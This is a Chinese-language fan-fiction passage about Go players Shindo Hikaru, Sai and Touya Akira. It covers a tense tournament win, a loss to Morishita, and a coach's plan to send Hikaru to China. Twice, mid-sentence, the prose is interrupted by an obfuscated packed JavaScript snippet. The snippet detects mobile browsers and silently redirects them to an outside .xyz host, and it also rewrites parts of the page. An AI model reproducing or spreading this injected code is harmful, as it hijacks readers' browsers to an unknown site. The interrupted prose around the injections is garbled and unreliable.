逆境的意义 已经很难算过来了。棋盘上到处是战火导致的破绽,谁先发现,谁就能占据先手,然而顾此失彼,必须挽救的失地实在太多,不可能面面俱到,补了这边、那边就开始失火,火灾一旦蔓延,就可能殃及全盘。光久违地感到了分身乏术的疲倦。最近他一直在赢,赢得还很轻松,导致他差点忘记了与实力相当的对手博弈是怎样的感觉,最后的最后,双方都交战到奄奄一息,精疲力竭,盘面还是十分胶着。 可直到最后的最后,他还是没有放弃。 耳边一直有个看不见的影子在劝说:算了吧,已经赢不了了,你只是偶尔输一次,输给七段不丢人,你尽力了。但他无视了这种虚弱的声音。他就是要赌,赌到最后一定会出现生机。 “真难缠……不过,你的挣扎也就到此为止了。你很优秀,进藤君,新初段能和我这样的七段下成平手,已经是奇迹中的奇迹了,很遗憾,就让我暂时为这个奇迹画上句点吧。” 白川在他认为能确定胜负的乾坤点位,放下最后的黑棋。 光倒吸一口凉气。 屏幕前的久原木子郎也倒吸一口凉气。 胜负已定。白川有些心有余悸地望着棋盘。 结束了。 当他这样想时,却听到进藤光手中的白棋又一次落下的声音。 ……什么?他还有棋可下吗?都到这种地步了,只是出于意气用事、不愿认输吧,对于新人倒是很正常的心理,即使胜负已分,也想多苟延残喘一会儿,白川理解这种感觉,他摇了摇头,愿意陪对方下完剩下的几颗子。 然而,白川抬起手时,却发现,刚才的白棋落在了意料之外的地方。 “咦……?” 白川不可置信地盯着那枚白棋,仿佛那里形成了一个黑洞、可以把周遭的一切都吸进去。 吞咽口水的声音十分明显。 下在这里……难道说…… “啊!”反应过来的白川顿时用手按住了嘴唇,他不想在这种场合发出惊叹,但冷汗已经迅速爬上了浑身上下,脚麻得一动也动不了,“居然……” 居然被他找到了起死回生的办法! 天旋地转。记录员在纸上用笔沙沙记录的声音是天地间仅存的声响,白川感到周围的景色在飞速旋转。 不,这不可能,不是已经结束了吗?他计算过了,结果应该是自己赢半目才对!可是刚才的这个位置……会让结局变成进藤光赢半目! 半目之差,但赢家已然交换! 他怎么会犯下这样的失误!留下这样一处疏漏! 等等,也许不是疏漏,是进藤光故意留到现在才引爆的定时炸弹……可一般人真的能做到吗?从开局就埋到现在的伏笔,草蛇灰线,制敌于不可见之间? 佐为也和白川一样,有些吃惊于光的进步。他以前不是会在意这些小技巧的人,因为多数时候,棋士的胜负要依托于更大的局面才能分晓,但为了在劣势里翻盘,他什么计谋都用上了——即使是那些不被主流声音认可的奇技淫巧,甚至不算有风骨的棋士乐于使用的小花招,他毫不避讳,只要能绝地求生,通通都安排上。 在赢面前,一切原则都可以暂时搁置。竞技运动的精髓就是超越极限。当然,盘外招他还是不屑使用的。 久原阴沉的脸色直到这一刻才稍有好转。 他赌对了。进藤也不是完全没有开窍,他平时说的话,对方多少有往心里去。就先放过这家伙前半段发挥失常的罪过吧。 棋盘前的白川还是一个字也说不出来。 看到白川那样惊愕的眼神,知道大局已定,光终于松了口气。 “……赢了。” 紧绷的神经松弛下来之后,连续一周积攒的疲劳也一股脑涌了上来,进藤光这辈子从没觉得这么累过。要是久原还在,肯定要针对他不让人省心的臭毛病大骂一通了吧。脑子晕晕乎乎的,他也顾不上从对局室外传来的观战者们的高声惊呼,只努力不让自己在棋盘面前倒下。 “小光!”佐为看出他的不正常,心急如焚地喊道,“你还好吗?快去坐着!” 就在他的肩膀摇摇欲坠之际,一只宽大的手拦住了他下落的路径。是白川道夫,他从对面的坐垫上单膝跪地站起身,帮光稳住了双肩,以免在镜头前给大众带来惊吓。 光感激地笑了笑。他的头还是很痛。说实话,刚才这局棋,赢得太惊险了……到现在他都还在想着那些穿梭在脑海里的可能性…… “真没想到。”白川的说话声将他拽回现实,“你能这样推翻我的期待。太了不起了。” 势均力敌的交手一直持续到最后一刻。 白川看得出来,进藤光拥有恐怖的潜力,今天的他是状态不好,否则想赢自己几乎是轻而易举的事。在这一刻,白川对他的认可已经变成了尊敬,能在陷入劣势后还咬死不松口,单凭这股执着都叫人不得不佩服。 光对佐为比了个“我没事”的口型,试着说点什么来缓解尴尬:“嗯……因为我有……不能输的理由。” “理由?” “我和某个人约好了,要下出真正的神之一手。在那之前,我不能输。” 这句略显幼稚和中二的台词,让白川略微意外之余,又有点明白了他的意志的来源。围棋就是与人的算力极限对抗的运动,连机器都算不过来的可能性,靠人脑的运算、和前人积累千年的经验,才能离神之一手越来越近。进藤光不是“小小年纪却能下赢七段的天才”,而是“为了将过去与未来连接起来而努力”的、有自己想法的棋手。只有把人生都献给围棋事业的人,听到这种话才会感动。 共鸣只在高山流水之间。 白川扶他站起来,到一旁的椅子上休息。这时,天野等一众记者慌忙挤入对局室,匆忙拍了几张棋盘,一个劲地关心起他的身体状况来。还好,医生简单检查了一下,只是正常的应激反应,并无大碍。在那之后,小个子的古濑村举着棋谱记录纸、径直冲到门外,大嗓门地喊了起来: “——出来了!特别定段赛的结果!” 消息一出,全日本的围棋爱好者都沸腾了。 “我靠!真的假的……白川老师输了?!怎么会?” “不会吧,他才13岁啊,去年这个时候围棋界都查无此人,今年居然就能赢七段?!疯了疯了疯了……” “塔矢亮呢?塔矢亮也赢了吗?” “不……塔矢中盘认负了。不过我看了那一局,也是好棋,真难以想象他到底是怎么和仓田七段下到那种地步的……” “啊啊啊啊啊!小老师!就差一点!可恶,进藤这家伙怎么能赢呢!” “段位呢?最后确定的段位是多少?” 大家的心都悬得高高的,胃口吊地那叫一个浑身难受,经过为期一周的漫长商榷后,日本棋院东京本部才终于对外公布了进藤光、塔矢亮两名新职业棋士的最终段位: 进藤光,认定为职业四段。授予连续升段同等奖金。 塔矢亮,认定为职业三段。授予连续升段同等奖金。 双子星,一同飞升“货真价实的明星”。 久原编写的棋谱集上市即售空。多数人其实未必看得懂这里面的对局,但怀着为围棋双子星传说添油加醋的热情,鼓吹一把未来新星总是可以的。就连直播的定段赛都把电视台收视率冲到新高,显然,人们对进藤光的兴趣早已破圈,一些完全不关注职业围棋的圈外人都能兴致勃勃地讨论上几分钟“进藤光和塔矢亮谁更有望拿到第一个头衔”。冷门的围棋运动,忽如一夜春风来,变得生机勃勃。 书报亭前的红衣青年吹了一声口哨,他戴着墨镜,皮肤黝黑,脸上没什么表情,但拿起《围棋周刊》的瞬间还是忍不住吐槽了句:“下赢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492236|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了七段却还是只给四段头衔吗?日本棋院真小气啊。” 旁边的朋友哈哈大笑,“这你就不懂了,门胁先生。重要的不是段位,而是他们改变了规定。规定既然能改一次,就能改二三次,假如进藤真的拿到世界冠军,破例直升九段也不是异想天开——最最重要的就是这种让人畅想未来的可能性。你要是今年去参加职业考试,说不定也能破格升段呢。” “我?这个不可能,我的水平充其量也就是新初段前后而已。” “那可未必。听我的,明年一定要去参加考试!” 门胁半推半就地摸了摸下巴,“……也不是不行,为了见到这个进藤光,有一试的价值。” 任何一个蓬勃发展、冉冉升起的行业,优秀人才的晋升都犹如坐了火箭,这可是围棋文化后继有人的好兆头。业余的世界居然也能诞生这样可怕的对手,门胁心里莫名产生了一种危机感,也许他沉浸在“最强业余棋士”的头衔下,不小心就错过了往前冲锋的最佳时机。 现在也还不晚吧,去到日本棋院,就有机会和进藤塔矢他们对弈了! 他猛地抬起头,往前走去。 结果出来的这天,叶濑中围棋部则专门为庆祝这件事办了个小型派对。地点就在化学实验室,不过装饰上漂亮的鲜花彩带,看上去也蛮像那么回事,唯一的遗憾是进藤光本人因为临时被棋院的人叫走出席活动、无法赶到现场。好不容易做好的拉炮没派上用场,藤崎明有些丧气地望着窗外的广告牌,上面居然贴着进藤光形象的巨幅海报,应该是棋院批准后让他接了一些奇怪的围棋文化推广工作。 围棋部里的新人也一夜之间多了起来,小池激动地翻看着笔记本电脑上的论坛消息,“诶?网上居然有人出5000日元买进藤的签名!我们赚了!” “你也舍不得卖吧。” “那倒是……” 新人们这么激动,也不知道是真喜欢围棋还是单纯是进藤光的粉丝。虽然进藤本人不是叶濑中的学生,但他经常会来叶濑围棋部给他们讲点小课,出于这种好处,才有不少新的入部申请,三谷对此嗤之以鼻。不过,他转了转眼珠,显然还有别的牵挂。 “你不高兴吗,藤崎。” 藤崎明“诶”了一声,才闷闷不乐地说:“高兴是高兴……可是,总有种……小光被突然出现的陌生人抢走了的错觉。” “噗。” “你笑什么啦,三谷君!” “没什么,只是想起了一些好笑的事。下棋吧。”三谷把棋盘推到她面前,看她还呆呆地看着自己,清了清嗓子,催促道,“还愣着干什么?12月的院生考试,还需要三局棋谱对吧。” “嗯,我还没准备好呢。” “这次我也跟你一起去。你要是还落榜,我可饶不了你。” 从不袒露真实想法的别扭三谷居然对她说出了这样富有人情味的发言,这让藤崎明一时惊得不知所措,她上次参加院生考试失败后消沉了好久,小光又一直很忙,鲜少有和他聊天的机会,本来想着,或许自己确实没有走职业赛道的天赋,就这样算了吧。没想到,向来反对走职业路线的三谷,会对自己发出邀请。 她有些迟疑地确认道:“三谷君……你的意思是……” “快下,趁我后悔之前。”三谷不耐烦地拿棋子敲了敲桌面。没有让子,但需要让先,这是他们最近对局的常态,两人的水平相差已经不远了。这家伙态度还是这么恶劣。但藤崎明突然开怀大笑起来,笑着笑着,眼里多出了星星点点的泪花。 “太好了!谢谢你三谷君!我好高兴!” “唔,别靠那么近。” “我一定要考上院生!考上院生,然后,像梅泽小姐一样让更多的人喜欢上围棋!因为下棋就是很有意思呀!” “都说了别靠那么近了!笨蛋!!” ●○●○ 104.Chapter 103. 新初段联赛 1999年的钟声敲响,2000年的初雪如约而至。 不论时间如何变换,季节更迭都遵循着古老的规律。新年这天,佐为站在进藤家二楼卧室窗边,满脸幸福地欣赏着雪花从天空慢慢飘落的轨迹。平安时代的雪,江户时代的雪,平成年代的雪,下落的速度都是一样的,就像人们对围棋的喜爱那般。 佐为轻轻掩住眸中的感慨,只觉百感交集。他同光一样深爱着围棋,怀抱着一样的执念,追求着一样的境界,那种情感或许有些走火入魔,却也再真切不过。 “感谢上天……让我还能陪在小光身边。我不贪心,只要让我静静看着他成长就好……” 这是他的心声,小光听不到。 进藤光靠在座椅靠背上,倒转过头来,望着上下颠倒的幽灵。 “佐为?你在看风景吗?” 幽灵微微一笑说:“小光,外面下雪了。瑞雪兆丰年,今年也会是充满希望的一年吧。” 听佐为的声调像是已经放下了很多过去在意的事,从侧面看着他温和的表情,光有点小小的伤感。 特别定段赛告一段落,本因坊预选他也顺利通过了,一切都朝着最积极的方向进展……那么,明年的5月5日,这个让人操心的幽灵还能留在房间里吗?如果再面临一次选择,他还能认真倾听佐为的话语吗?能把没下完的那一局下到最后吗? 幸运与不幸的分界线模糊不清,他深刻地察觉到,“渴望”与”贪欲”之间那道巨大的鸿沟正在逐渐拉近。 偶尔,只是偶尔,进藤光的心里会产生一种强烈的向往,向往自己和佐为真正融为一体,那样的话,不论是佐为还是他都会轻松许多。 可是两个人的灵魂就是两个人的灵魂,谁也不能自作主张地将他们变成一个人。 而且有一件事是只有两个人才能做到的—— 那就是对弈。 进藤光拼命地摇了摇头,对佐为展露笑颜。是啊,他已经决定不再分心了,围棋之神是为了让他和佐为对弈才把佐为送回来的,他要做的只有下棋,仅此而已。围棋,塔矢,佐为,他全都要。全都紧紧攥在手心里。 “不想这些了,出门!出门!” “好耶!出门!” 一人一魂走上新年首日的街道,到处都装饰着喜悦的彩灯,东京塔也点亮了特别的七彩颜色。双脚踩在雪地上,吱嘎吱嘎的声响格外可爱,让光忍不住多踩了几脚,一条,两条,三条,他努力想把脚印踩成一条笔直的线,一不小心歪了身体、就有种从高楼坠落的惊险感,吓得他捂着心脏拼命调整平衡重心。 “哇啊——” 幼稚鬼进藤光戏剧性的大叫直接遭到某人目击。 “……你在做什么,进藤。” 是塔矢亮。他的表情有点无语。 今日的亮身穿深紫色的传统日式和服,羽织前挂着一颗白色的羽织纽绒球,和雪天十分般配。不愧是贵公子,冰天雪地还穿和服,丝毫都不嫌冷。 “塔矢!我……我这是童心未泯啦。好不容易休假几天,当然要玩个痛快!”光顿时红了脸,但还是理直气壮地说了下去,“你也一起来!” “啊、你别胡闹……” 一秒之间,一堆小小的雪团已经钻进了塔矢亮的后脖子,冰冰凉凉的,他一个激灵想把雪掏出来,却误打误撞摸到了光的手,雪团反倒掉得更深了。亮破天荒地大叫出声,光连连道歉,一不留神就被对方捡起一块更大的雪塞进了脖子,好刺激的凉意,光一边反击一边防御,最后一屁股摔进公园的草丛里,笑得眼泪都出来了。 “哈哈哈哈!你不也是个幼稚鬼嘛,塔矢!” “是你先动手的!” 怒气冲冲的亮在棋盘外十分罕见,今天也算解锁了稀有画面吧。进藤光笑了半天,才慢慢直起腰,问身后的幽灵:“……我们今天要做什么来着,佐为?喔,对了,是不是要去找伊角先生他们下棋?” 他总算想起了今日出门的本意。 “下棋?当然要!绝对要啊!” 佐为欢笑着条件反射地蹦来蹦去,看到他单纯的快乐,光感到心口涌出一股暖流。 在下次正式比赛来临之前,光打算自己先休养生息一番,免得久原又来耳提面命八百遍“棋手的健康管理”。反正闲着也是闲着,不如干脆让佐为过过棋瘾,于是进藤光约上了全部能叫动的围棋朋友。 即使是新年第一天,这群棋痴聚会的唯一理由也只是下棋。上辈子似乎也经常这样,大家一起跑去和谷租的单身小公寓里,挤在一起喝酒,看完红白,吵吵闹闹地复盘,醉酒之后把棋子弄得到处都是,酒醒了却谁都不认账、最后一定是伊角无可奈何地主动收拾,可好笑了。 不过那时塔矢亮都不参加他们的酒桌活动,只有进藤光单独叫他去神社初诣,他才会出门。 没想到今天他愿意来……是性格变了吗? 这边光和亮还没踏入伊角的房间,那边和谷已经迫不及待地开门出来迎接了,他脸蛋也红扑扑的,好像刚打完一场雪仗:“进藤,塔矢,还好你们来了!下周就是新初段联赛了,伊角先生紧张得要死,快给他来顿心灵按摩吧,我们正在轮流和他对局呢。” 房间里院生们都在,包括久原,他咔嚓按下快门,看来感冒已经痊愈了。见到这群老熟人的面孔,光的心情也轻松了许多。 “新初段联赛……伊角先生的对手是桑原老师吧?”他走到棋盘旁,问。 伊角叹了口气,为了习惯穿正装的感觉,他今天也坚持穿着西服出门,坐姿都笔挺笔挺的,连带着嗓音都成熟了三分:“是的。我不太擅长和年长的对手下棋……桑原老师一看就很会心理战术,恰好是我最怕的类型。万一在镜头面前丢脸就坏了。” 所以他才在苦练正坐。院生之间对弈确实没那么紧张,多数人都是盘腿下棋的,在幽玄之间那么典雅高贵的地方,还真不敢跟平常一样。 “太在意的话说不定会弄巧成拙喔。”光给出了成年人的建议,“顺其自然就好啦!反正输给桑原老师也不丢人!” 伊角无奈滴汗,“还没开始就想输的事怎么行……” “话说回来……”盘腿坐在一旁的和谷想起什么似的皱了皱眉,“为什么你俩都不是初段了,还能参加新初段联赛啊?” 矛头直指进藤光塔矢亮两人。房间里的众人也都齐刷刷转向他们,似乎抱有相同的疑问。 光理所当然地耸了耸肩。 “嗯?因为要是只有一场比赛的话,就不能叫‘联赛’了吧。” 和谷冲他伸出了食指,吼道:“关键不在这里吧!‘进藤四段对森下九段’,而且还是分先,已经完全和新初段联赛没关系了!” “毕竟要是让二子的话,森下老师就彻底没法下了呀。” “什么啊这个语气!真让人不爽!” 抱怨归抱怨,和谷也明白,这是事实。进藤能下赢白川七段,那跟自家师父平起平坐也绝非痴人说梦。自己明明发誓要追上进藤的,结果半年过去了,进藤的影子都没摸到,连追上伊角先生的目标都遥遥无期,他得加倍努力了! 光看出他的不甘,顺便扯出了塔矢亮分散火力:“塔矢也一样啦,‘塔矢三段对岩名九段’,也只是让先而已。和谷你倒也说说自己啊,院生第一名现在被越智偷走了,你难道就不会觉得不甘心吗?给我快点追上来啦!追上来!” “???进藤你说话的语气怎么跟我老师一模一样!” “别说废话,现在就快来跟我下一局!” 进藤光,被森下茂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505705|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男附身。 和谷不知道的是,上辈子光就是天天在森下研究会听森下老师这么念叨,才会学得如此惟妙惟肖。 冬天的被炉十分温暖,几个人缩在桌边,直接都不想从里面出来了,棋也下得越来越困。只有轮到塔矢亮上阵时,整个房间的人都会被突如其来的冷气冻醒几秒。 这时,门铃声“叮咚”响起。 还有其他人没到吗? 伊角和颜悦色地抬起头,“喔,是他们来了。九星会的朋友们说也想见识见识进藤的实力,我就给他们打了电话,你们不会介意吧?” 光直接叫了出来:“九星会!就是和中国棋手关系很好的那个社团!太好了,我还想跟他们打听打听中国的事呢。” 久原若有所思地瞥了他一眼。 这家伙,对中国的兴趣还没消失啊。 据九星会所言,中国新生代棋手的综合实力还不如韩国,但胜在人口基数大、训练体制也有优势,一二十年后有机会出现颠覆世代级的明星棋手。可是,仅凭这一点,值得进藤如此在意吗? 上次来日本的杨海,棋力也只是正常日本七八段的样子…… 从伊角家告辞后,久原木子郎也一直一言不发,甚至沉默得有些过分了。在他心中盘算着某个特别的计划,而这个计划的主角还缺一个实施计划的契机,只差这个契机。他早就知道进藤光就是sai,过去的几个月进藤光的进步也确实令人惊叹,然而,久原还是不得不承认:即使是进化后的进藤光,离真正的“sai”的实力也尚有显而易见的差距。 问题的根源出在“sai”的真面目上。他曾说过自己可以不在乎,只要进藤光能继续下棋就好。但事实是,如果想让进藤光继续进化,他就不得不弄清楚这个问题的答案。 已经不是能用一句“不在乎”就搪塞过去的阶段了。 想突破现在的进藤的瓶颈,就必须了解sai的本质。所以他才会跟踪进藤塔矢到因岛。但真相还处于扑朔迷离的雾气深处。 进藤那莫名的焦躁,便是强有力的证明。 ——他得做点什么。 与久原木子郎的决心一起到来的,是2000年的新初段联赛。 进藤光vs森下茂男,日本棋院成立以来破天荒第一次以分先形式的新初段联赛,观战者依旧熙熙攘攘。绪方掐灭烟头走进室内,却发现桑原本因坊早已坐在电视机前默默等候,见到他现身,桑原“呵呵”一笑,招呼他在旁边的位置上落座,似乎毫不惊讶。客套间,绪方瞟了一眼四周,今天的人数不比特别定段赛最后一局时少,院生们也挤在墙边肩并肩地站着,明明这种水平的对局,他们就算看了也未必看得懂,只是出于对进藤本人的兴趣……吗,绪方本想如此批评他们不务正业,转念一想,自己又何尝不是如此。 若不是出于对进藤光的兴趣,他大可等到下下个月的名人战循环赛再直接与他交手。可他等不及了。连他本人都无法解释这种执念的来源。这时,一个苍老的声音转移了他的注意力。 “光是看着多没劲呐,绪方君,我们来打个赌吧,你觉得谁会赢?” 桑原本因坊砸吧着满是皱纹的嘴唇,饶有兴致地用食指关节叩击座椅一侧。站在墙边的院生们惊得脸都绿了。桑原老师这潜台词是,进藤那小子面对职业九段也“有可能”会赢? 绪方不动声色地重新点了一根烟。 “进藤吧。” “嚯嚯……这可真是不巧,老夫也想赌这小鬼,看来赌约是没法成立了。” 进、进藤光究竟是何等怪物?听到桑原的回答,和谷顿时失去了继续在这里看下去的勇气,他何德何能觉得自己能以进藤为目标?进藤今日的对手可是自己从未看清过真实棋力的“地狱黑熊”——森下老师啊! 105.Chapter 104. 进藤光vs森下茂男 在和谷震惊的视线中,对局开始了。 幽玄之间沉静的光线总能让人倍感安心。佐为还是初次来到此处,想起小光描述过的两人在此迎战塔矢行洋的过往,他仿佛看到那命中注定的对手就坐在对面,神情也随之凝重起来。平安时代以来就是如此,围棋是礼仪与修养的象征,贵族们深谙书法之道,那幅张弛有度的水墨长卷是棋室最适合的装饰,仪式感总能激发出棋手最大限度的潜力,的确是与“神之一手”相称的房间。 但今天的小光,出手却算不上从容。 上次应对白川七段时,他状态不好还算情有可原,现在久原回来了,作息也努力调整到最佳,赛前还找了藤崎明对弈放松心情,这一刻的小光理应是状态最好的小光。 可在森下茂男的重压下,他的每一招还是犹如粘黏在棋盘上一般,无法行动自如。 “……” 佐为沉思着的问题,久原也看在眼中。 果然如此。进藤的综合棋力毫无疑问变强了许多,可对局不仅看纯粹的实力,也会受现场氛围影响。那份过于执着的求胜心在经验老道的森下茂男面前几乎是硬碰硬,很难讨到好。硬度高到一定程度,金属就会碎裂。道理是这个道理,可让他立刻做出改变,也还是有些强人所难。 毕竟如果嘴上说说就能下出好棋,也就不会有那么多人终生无法进步了。 有没有什么其他的方法呢?围棋不是单行道,走别的路也可以到达同样的目的地,其他的方法一定是存在的……此时此刻的进藤最需要的是什么?想清楚这个问题,这是教练的责任,久原木子郎——他对自己如此反复强调。 进藤是sai的分身。不过他迫切希望脱离sai的庇佑,从幼鸟的巢穴里飞走。 这样的进藤需要一双新的翅膀,帮他离开舒适区。 森下的下法他已经吃透了,说不定在看到久原准备的资料前,进藤光就已经足够了解森下茂男的习惯,毕竟在上辈子,森下正是进藤光在职业世界最亲近的老师,虽然久原对此并不知情,但也大概感觉得到进藤对森下的了解。可有些时候,越是熟悉的对手,越难找到巧妙制胜的方法。 太熟悉对方的风格会让他无法跳出框架、构思别的路数。 到底在哪里呢?不受拘束的棋步,崭新的棋路,前人不敢想的下法……久原隐隐约约觉得在哪里藏着答案。 “进藤……在犹豫。是选择太多了吗。” 塔矢亮也是观战者之中的一员。他的新初段联赛在三天后才会举行,今天终于得以第一时间观看进藤光的比赛。进藤光的纠结他感同身受。自己和父亲对局时也总是这样,就是因为太了解对方了,导致进攻也总在意料之内,棋不能说是坏棋,却也很难出其不意、巧妙取胜。 继续这样畏手畏脚下去的话……形势不乐观啊。桑原也不再同绪方闲聊,神色有些凝滞地盯着显示屏上的棋子。高段棋手看这局棋代入感之强,让他一时忘记了自己并非坐在棋盘前的弈者。 陷入泥潭了,小鬼。 但实力还是相当强劲。半年后的本因坊之战,看来压力也迫在眉睫了。 光本人的脑海里自然也是一团乱麻。 明明今天没有别的借口,他是打算堂堂正正与森下老师决一死战的,可偏偏哪里都战不起来,黏黏糊糊的,完全称不上畅快。 啊,好烦闷,这种不干脆的感觉……得想办法在这里抢回先手才行…… 可森下老师会给他这样的机会吗? 此时的森下双手环绕在胸前,像在生闷气。外界看来他的气场仿佛一尊高达五米的青铜大佛,路人只能仰视他,绝不可能正视他。他也没料到进藤光这小子会这么难缠。老道的棋手凭借经验就能规避许多失误,他以为自己应该能轻松获胜,但一路走来,对手都紧紧跟在屁股后面、怎么也甩不掉。 难怪和谷总说不可能追上进藤了,这已经不是实力差距的问题了,这种年纪拥有这样的棋力,根本是老天爷喂饭吃!唉,要是进藤光是自己的弟子就好了!这么千载难逢的人才……亲手培养他成长的快感恐怕也是仅此一次吧。 “进藤居然和老师下得难分伯仲。”一旁的和谷人已麻,“这是真实存在的事吗?那个谁都无法击败的森下老师!” 绪方已经了然地闭上了双眼。 “他还没习惯吗,和高段棋士的交手。” “喔?绪方君有何见解?”桑原感兴趣地转过脸来。 “棋力已经到位了。不过他还差一点素质。” “素质?” “——破釜沉舟的胆量。” 绪方似乎话里有话。在塔矢行洋离开日本前,他尚未得到机会真正击败自己的恩师,也许他没资格做出如此评价。但进藤的天分比他更高。若是在这里停滞不前,就太可惜了。 桑原又发出了骇人的笑声。观战室陷入了奇怪的迷之沉默。院生们只是乖乖听着大前辈们的对话,一个字也不敢说。时钟滴答滴答继续前进,计时器按下又弹起,胶着的气氛一直延伸到棋院外的阴云之间,晚风吹散阴霾,月亮终于从云朵里露出一条缝隙的刹那,棋盘前的棋手忽然弯下了腰。 “是我……输了……” 光强忍住眼眶里的泪水,脸上理智地控制着表情。 他不后悔。今天这局棋他下出了全部的水平,只是事实就是他与森下九段实力相当,没能赢说明运气不佳,日后交手的次数多了,总有一次能轮到他获胜。理性告诉他,他可以为自己的成长而欣慰。 但感性上,他还是很不甘心。 明明就差一张纸的距离了。在这么近的地方!再伸手够一把!说不定就捅破了这层薄如蝉翼的白纸! 他到底是哪里做得不够?! 和佐为相比,他到底还差在哪里?! 结束互相的鞠躬,从幽玄之间站起身离开时,光一直紧紧盯着前方,他想知道,一线之隔以外的胜利究竟离他有多远,他还要往什么方向奔跑,才能站上新的舞台。那目光容不下其他。佐为本想安慰他,却也被那双充满战意的眸子吃了一惊。 不过,有人正在幽玄之间外的走廊等待着他。这一次,对方不是塔矢亮,而是匆忙披上外套、似乎准备立刻走人的久原木子郎。 见到光那锐利到可以杀人的视线,久原假装毫不在意地说起了那个蓄谋已久的话题。 “我知道你缺的是什么了,进藤。” “诶?” “是‘新的对手’。” 他怎么会知道自己心里在想什么?进藤光本来想这么问,可话到嘴边,又吞了回去。因为原因已经不重要了,他更在意久原说出的结论。 “新的……对手?怎么了,突然说起这个?”光迷茫地眨了眨眼,“我下一个要备战的对手是桑原本因坊吧,不是早就定了吗?” 久原也不多做解释,转身朝楼梯口走去。 光连忙跟上他的脚步。 “去中国吧,进藤。签证和机票我都帮你办好了。”久原背对着他,边走边说。 这下光终于傻眼了,冲上前一把抓住他的肩。 “你等等!什么?中国?怎么回事?我可一点没听说啊!” 久原总算回过头来,脸上挂着神秘的微笑:“跟森下老师这局棋证明,你对收集资料再有迹可循地赢这套玩法已经烂熟于心了 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“啥?你也要一起去?!” “嗯,日本棋院的院生制度太温吞了,院生只有周末在上课,我打算把中国棋院的那套搬过来。合宿,而且是不同年龄段的棋手合宿,全日制,每天都要下棋。借鉴他们培养人才的方法,说不定会对我未来的教练思路有帮助。” “……” 这下光完全不知道该怎么回应了。久原是想让他彻底换个环境重新开始吗,起初他还觉得有点太过头了,毕竟日本的高手他还没下个遍,怎么都称不上非得远征不可,但随着那幅蓝图的展开,他似乎也渐渐被说动了,久原描绘的未来里,存在着某种他想象不到的东西。能让凝滞的呼吸再次通畅起来的东西。 “还有别的问题吗?虽然不管你问什么都改变不了决定事项了。”久原一副打算结束对话的表情。 光做了个深呼吸。 他已经没有问题了。不过…… “塔矢不去吗。” 久原以外人看不见的角度翻了个小小的白眼,无奈之中透露着一点了然:“你果然还是尽想着他。趁这段时间保持距离,回来之后验证彼此的收获,这才有新鲜感啊,进藤。越是命中注定的对手,反而越不能一直黏在一起!这点道理都不懂吗?” 新鲜感?好像……也确实如此。在亮因腿伤与自己分别的两个月后,久别重逢的那次对弈,让光感受到了最陌生的挚友的一面。 天天下棋的话会觉得习以为常,但一段时间不下,就忍不住令人期待他产生了如何的变化,期待这局棋会与以往有多大不同,从而异常心跳加速、精神振奋。 也许是时候了。塔矢陪了自己这么远,是时候独自踏上一段旅途了。 光对佐为露出一个微笑。佐为立刻明白,这是他做出决定的象征。于是,佐为也回以信任的微笑。 “我们一起去吧,小光。” “嗯!中国是围棋的发源地,佐为在那边也一定会很开心的。” 这内心对话造出的两秒停顿让久原一时有些担心他是不是改了主意,催促道:“除了这个,还有别的问题吗?” 光浑身轻松地跑下最后一阶楼梯。 “机票是什么时候?” “明早。” “好快!话说,你到底是什么时候弄到我的个人信息的?连签证都能代办?” “你那点小隐私在我这早就赤身裸体了,进藤。” “好恐怖!死变态!赛博罪犯!” “谢谢称赞。” “我又不是在夸你!!!” ●○●○ 106.Chapter 105. 中国之旅 时间的钟摆向后荡去—— 2024年的夏季漫长得看不到尽头。黑发少年试图从中国棋院布满水渍的外墙望向视野对面的天坛,明明离得不远,却被不高的楼房挡了个严严实实。对棋手充满神圣意义的国家体育总局就在这里,对路人充满神圣意义的天坛就在这里。他翻开父亲的日记,24年前的那场对弈,就是在这里进行的。 “陆老师怎么就对这里情有独钟了?”留着干练短发、身穿宽松衬衫的记者从面包车上下来,用摄像机记录着眼前平平无奇的风景,“大家都很好奇,他明明天赋异禀,99年却莫名其妙掉队、荒废了一整年,结果2000年春天又突飞猛进、一下就冲上了全国四强,后面一口气拿了六个冠军。怎么办到的?” 为了记录新晋世界排名第一的少年棋手陆鹰的生平,她跟着少年开始了一次为期七天的跟拍。 父子俩都是棋圣,作为传记题材相当有噱头,不过,在听儿子陆鹰说陆力棋圣“意义重大的地点”在天坛公园时,她还是难掩惊讶——这里只能看到疯狂自拍的游客、和几对凑在路边下象棋的老大爷而已。 黑发少年微笑着点点头。 “就是这里。我爸总念叨,说这里是他最难以忘怀的起点。” “为什么?这里有大隐隐于市的围棋大师?” “没那么夸张。在这儿,他遇到了一个日本小棋手。” “日本棋手……?” 记者的语速慢了下来。那一瞬的茫然让少年善解人意地笑了几声 。 “因为是24年前的事了,刘小姐可能没听说。我爸是典型的中国小孩,小时候不爱说话,也不参加集体活动,跑来北京下棋都只是因为这样就可以不念书,那几年韩国人又霸占国际大赛头三名,下棋很难下出名堂。新人在棋院被虐是常态,我爸最大的乐趣,就是偷偷溜来隔壁公园、找那些对技术有迷之自信的老大爷下棋,扮猪吃虎。挺没劲一人吧?” 两人边聊边往前走,天坛公园确实是遛弯的好地方,今天也还有不少老年人聚在附近下棋,退休也不需要门票,十分便利。 记者忍不住追问:“可是,职业就算下赢了业余……也不会有成就感吧?” 少年点点头。 